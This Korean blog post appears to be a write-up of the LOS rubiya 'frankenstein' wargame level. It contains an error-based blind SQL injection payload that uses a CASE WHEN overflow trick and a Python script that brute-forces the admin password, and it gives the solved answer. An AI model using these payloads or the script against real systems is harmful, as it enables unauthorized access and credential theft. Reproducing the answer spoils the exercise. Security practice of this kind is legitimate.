시작하겠습니다.
prob _ . union () 을 사용 못하네요
그리고 admin의 비밀번호을 알아내야 합니다.
또 문법이 이상해지면 error이 출력되네요!
이걸로 참 거짓을 판별하면 되겠네요!
() 을 못쓰니 함수를 못 사용하겠네요 그럼 case when then 구절을 이용하겠습니다.
문법은 여기서 참고했습니다.
https://velog.io/@0829kuj/SQL-CASE-%EB%AC%B8-CASE-WHEN-THEN
[SQL] CASE 문 (CASE WHEN THEN)
`sql`에서 여러조건 중 해당하는 조건의 값을 반환하는 문법. `if문`과 `swicth문` 처럼 조건에 해당하는 값을 반환하는 문법임. 모든 조건이 충족하지 않았을때 반환할 `else`절의 값을 지정해두지 않
velog.io
그러니깐 아이디가 admin이고 pw는 like을 이용해서 찾으면 되겠죠.
간단하게 적어보겠습니다.
?pw=1' OR case when id='admin' and pw like 'a%' then 9e307*2 else 0 end %23
case when 아이디가 admin이고 pw이 a로 시작하는가?
then 맞으면 9e307*2을 출력한다.
else 아니면 0을 출력한다.
end 끝낸다.
9e307*N(N은 정수)은 sql문에서 수동으로 논리적 문법 오류를 낼 수 있는 값입니다.
e는 지수를 뜻해요 그러니깐 9의 307제곱을 N만큼 곱한다는 이야기예요.
sql에는 최대 값을 표현 가능 범위가 9e307입니다. 거기서 N을 곱해서 일부러 범위 벗어나게 합니다.
그럼 오류가 나겠죠!
이상하게 else문에 쓰면 안 되고 then에만 써야지만 됩니다. 이 이유는 잘 모르겠네요..
조건이 맞으면 else까지는 읽나 봅니다. 조건이 틀리면 then 구문은 넘어가는 형식이라 그런 거 같아요
어쨌든 저대로 실행하면?
그렇죠 첫 글자 a는 틀려서 0이 출력되고 문법상 오류가 안나는 겁니다.
만약 0%으로 해봅시다.
1' OR case when id='admin' and pw like '0%' then 9e307*2 else 0 end %23
이렇게 첫 글자가 0이라는 것을 알 수 있습니다.
그럼 다음 글자는 0a%, 0b% .... 이렇게 비교하면 되겠죠?
파이썬 코드 짜겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=tfcqlc2grd2d3ugumt6fdpdr4v"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("enter누르세요!")
index_value = "<hr><br>error" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(50) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"pw": blind_query.format(value + chr(i))
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "1' OR case when id='admin' and pw like '{}%' then 9e307*2 else 0 end #" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
이진 탐색은 안 하겠습니다 왜냐하면 중간중간에 / 같은 기호에 오류 날 수 있어서요!
또 \"error\" 으로 참 거짓을 판별했습니다 그냥 error은 참이든 거짓에도 있어서요.
이 코드는 일일이 넣어서 알아내는 겁니다. 값이 50글자는 안 넘으리라 믿고 넉넉하게 50번 반복하게 했습니다.
실행하겠습니다.
답은 0dc4efbb 인 것을 알 수 있습니다. sql은 대소문자 구별을 안 해서 소문자만 입력하셔야 될 거예요
감사합니다
'워게임' 카테고리의 다른 글
los rubiya - 30(ouroboros) (0) | 2023.06.25 |
---|---|
los rubiya - 29(phantom) 풀이 (0) | 2023.06.24 |
los rubiya - 27(blue dragon) 풀이 (0) | 2023.05.31 |
los rubiya - 26(red_dragon) 풀이 (0) | 2023.05.26 |
los rubiya - 25(green_dragon) 풀이 (0) | 2023.05.25 |